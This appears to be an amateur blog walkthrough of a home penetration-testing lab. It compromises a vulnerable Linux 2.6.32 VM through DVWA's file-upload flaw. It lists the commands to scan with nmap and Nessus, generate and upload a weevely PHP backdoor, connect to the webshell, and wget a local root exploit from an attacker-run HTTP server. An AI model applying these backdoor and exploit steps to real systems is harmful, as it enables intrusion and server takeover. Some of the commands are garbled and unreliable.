numberfive

hack linux 2.6.32 in virtual box through DVWA

 

make sure the network between your computer(linux) and linux OS in virtual box are connected.

the way is you must setting the network connection to host only adapter named vboxnet0 in your virtual computer

know your virtual computer ip address

type ifconfig, klick enter








move to your real computer, open the terminal command, check your connection network between your virtual computer in vboxnet0 and know your ip address.

type ifconfig, klick enter



 to test your connection, type ping (virtual computer ip address)

ping 192.168.56.101, klick enter

if the network already connected, you come to first step, information gathering. use nmap -A (ip) to find the computer information.

nmap -A 192.168.56.101, klick enter


 by using nmap you will get the information about running service too. it means, you has passed two step, IG and SE.

next step is VA, you can use nessus to know about vulnerability of that running service. starting nessus.

/etc/init.d/nessusd start, klick enter




signing into nessus,
fill the blank table and sign in

search the vulnerability of service and save









as you know, the purposed is we infiltrate to virtual computer system through web application. we try to come through one of that vulnerability, the one is through file upload.

we assume dvwa is web application that have vulner through file upload, dvwa can upload any file include back door inside. we wil insert the back door through file upload vulner

make back door file,

weevely generate (password) (file name).php

weevely generate 1234 comin.php, klick enter






 entry to command terminal in virtual computer, we shuld make permission in target location of file upload, the purpose is the file's uploud has been read, write and axecution too.

go to target location
cd /var/www/dvwa/hackable/ , klick enter

make permission,
chmod 777 uploads , klick enter







 come to DVWA through target ip address, browse the file and upload



 http://192.168.56.101/dvwa , klick enter

go to file upload file location,
copy the "location"






paste the "location" insert to weevely and ope the password

weevely http://192.168.56.101/dvwa/hackable/uploads/comin.php 1234 , klick enter

automatically you go to the system, but your accesment in dvwa folder only.

 to know your position in server, 

type id, klick enter

because we have not access to root, we know the os the computer in this folder by using command, 

uname -a , klick enter

search metasploit to execution the systen and can control the server as root,

in your computer, running the eksploit DB, sandi gui

fill linux 2.6.32 and klick find

 view the metaspoloit

copy the script of metasploit

open pluma text editor,

save metasploit script with extention .py

make e new command terminal to process your command to you computer, because the command terminal that you use weevely, know its  to be command terminal in target system. 

make a way to transfer file with python script in http network port 82 (up to you)

python -m SimpleHTTPServer 82 , klick enter

 entry command terminal to control target system, download metasploit file in your computer to virtual computer with command wget

wget http://192.168.56.1:82 /home /egy/Desktop/exploit.py

the system has been exploit

thats all....thanks for your atttention